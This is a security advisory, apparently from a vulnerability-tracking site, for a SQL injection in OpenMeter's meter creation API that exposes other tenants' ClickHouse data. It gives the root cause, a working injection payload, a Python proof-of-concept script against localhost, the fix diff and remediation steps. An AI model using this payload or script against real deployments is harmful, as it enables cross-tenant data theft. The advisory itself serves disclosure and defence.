OpenMeter CVE-2026-8462
MEDIUMLifecycle Timeline
2DescriptionCVE.org
Summary
An authenticated tenant can inject arbitrary SQL through the valueProperty or groupBy fields of POST /api/v1/meters. The injection passes the application's JSONPath validation check and executes against the shared ClickHouse database, which contains event data for all tenants with no row-level security. Any authenticated tenant can read or write every other tenant's metering data.
Details
openmeter/streaming/clickhouse/utils_query.go:15 builds a ClickHouse SELECT by interpolating user input with fmt.Sprintf:
sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath)))sqlbuilder.Escape() (go-sqlbuilder v1.40.2) only replaces $ → $$ to prevent collisions with the library's own argument placeholders. It does not escape single quotes. A single quote in the input closes the string literal, and subsequent tokens execute as raw SQL. sb.Build() always returns an empty args slice - the query is never parameterized.
The payload must be prefixed with a valid JSONPath expression (e.g. $.foo) because ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath string, which ValidateJSONPath silently treats as "invalid JSONPath" and returns early - before the injected branch can execute.
Working payload:
$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --Generated SQL:
SELECT JSON_VALUE('{}', '$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --'Fix - replace fmt.Sprintf string interpolation with sb.Var(), which appends the value to the builder's args list and emits a ? placeholder:
-sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath)))
+sb.Select(fmt.Sprintf("JSON_VALUE('{}', %s)", sb.Var(d.jsonPath)))PoC
poc.py:
import json, time, uuid
from urllib.request import Request, urlopen
SLEEP = 3
API = "http://localhost:48888"
PAYLOAD = f"$.foo') UNION ALL SELECT toString(sleep({SLEEP})) FROM system.one --"
def post_meter(value_property):
body = json.dumps({
"slug": f"poc_{uuid.uuid4().hex[:8]}",
"eventType": "x",
"aggregation": "SUM",
"valueProperty": value_property,
}).encode()
req = Request(f"{API}/api/v1/meters", data=body,
headers={"Content-Type": "application/json"}, method="POST")
t0 = time.monotonic()
with urlopen(req, timeout=SLEEP + 10) as r:
return r.status, time.monotonic() - t0
_, baseline = post_meter("$.tokens")
status, elapsed = post_meter(PAYLOAD)
print(f"baseline : {baseline:.3f}s")
print(f"injected : {elapsed:.3f}s (HTTP {status})")
print(f"result : sleep({SLEEP}) {'CONFIRMED' if elapsed >= baseline + SLEEP - 0.5 else 'not confirmed'}")docker compose up -d
until curl -sf http://localhost:48888/api/v1/meters > /dev/null; do sleep 3; done
python3 poc.pyExpected output:
baseline : 0.036s
injected : 3.031s (HTTP 200)
result : sleep(3) CONFIRMEDImpact
SQL injection via POST /api/v1/meters (valueProperty or groupBy). Requires a valid tenant API key; no other preconditions. The shared openmeter.om_events table has no row-level security - a successful injection gives unrestricted read access to all tenants' event subjects, types, payloads, and timestamps. Write access is subject to the ClickHouse user's grants. Denial of service via resource-exhausting queries is also possible.
Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Shoshana Makinen at Anvil Secure in collaboration with Anthropic Research.
For CVE credits and public acknowledgments: Anvil Secure in collaboration with Claude and Anthropic Research
AnalysisAI
SQL injection in OpenMeter's meter creation API allows any authenticated tenant to execute arbitrary ClickHouse SQL against a shared database with no row-level security, enabling full cross-tenant data exfiltration. The vulnerable endpoint is POST /api/v1/meters, where the valueProperty and groupBy fields are interpolated directly into ClickHouse SELECT statements via fmt.Sprintf without parameterization, and the sanitization function (sqlbuilder.Escape) only escapes library-internal placeholder characters - not single quotes. A publicly available exploit code (PoC) exists demonstrating confirmed time-based blind injection, and no public exploit identified at time of analysis in the CISA KEV sense, though the PoC lowers the barrier to exploitation significantly.
Technical ContextAI
OpenMeter is a Go-based metering platform (package: pkg:go/github.com_openmeterio_openmeter) that uses ClickHouse as its streaming analytics backend. The root cause (CWE-89, Improper Neutralization of Special Elements in an SQL Command) lives in openmeter/streaming/clickhouse/utils_query.go:15, where user-supplied JSONPath strings from the meter creation API are interpolated into raw ClickHouse SQL using fmt.Sprintf. The sanitization function sqlbuilder.Escape() from go-sqlbuilder v1.40.2 only substitutes dollar signs ($ → $$) to avoid conflicts with the library's own placeholder syntax - it explicitly does not escape single quotes. The query builder's sb.Build() call always returns an empty args slice, confirming the query is never parameterized. A secondary bypass exists: ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath, which ValidateJSONPath silently treats as rejection and returns early. Attackers must prefix payloads with a valid JSONPath token (e.g., $.foo) to pass this check and reach the execution stage. The shared openmeter.om_events table has no row-level security, so a successful injection operates across all tenant data with no access boundary.
RemediationAI
Upgrade to OpenMeter v1.0.0-beta.228 or later, confirmed fixed via PR #4383 (https://github.com/openmeterio/openmeter/pull/4383) and commit 6ce29e743165890c10346f4c71d5bf79f1ecaf6f. The fix replaces the unsafe fmt.Sprintf string interpolation with sqlbuilder.Buildf() using a %v placeholder, which causes JSONPath values to be passed as bound query parameters (? placeholders in the generated SQL) rather than concatenated into the query string - confirmed by the added test asserting the output is SELECT JSON_VALUE('{}', ?) with args []interface{}{'$.foo.bar'}. The full release is at https://github.com/openmeterio/openmeter/releases/tag/v1.0.0-beta.228. If immediate patching is not feasible, restrict access to POST /api/v1/meters at the reverse proxy or API gateway level so that only trusted administrative clients (not individual tenants) can invoke meter creation - this eliminates the attack surface but prevents self-service meter provisioning by tenants. There is no server-side configuration workaround that preserves the existing meter creation functionality without applying the patch.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve
Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at
Same weakness CWE-89 – SQL Injection
View allSame technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-wc3v-3457-c8cm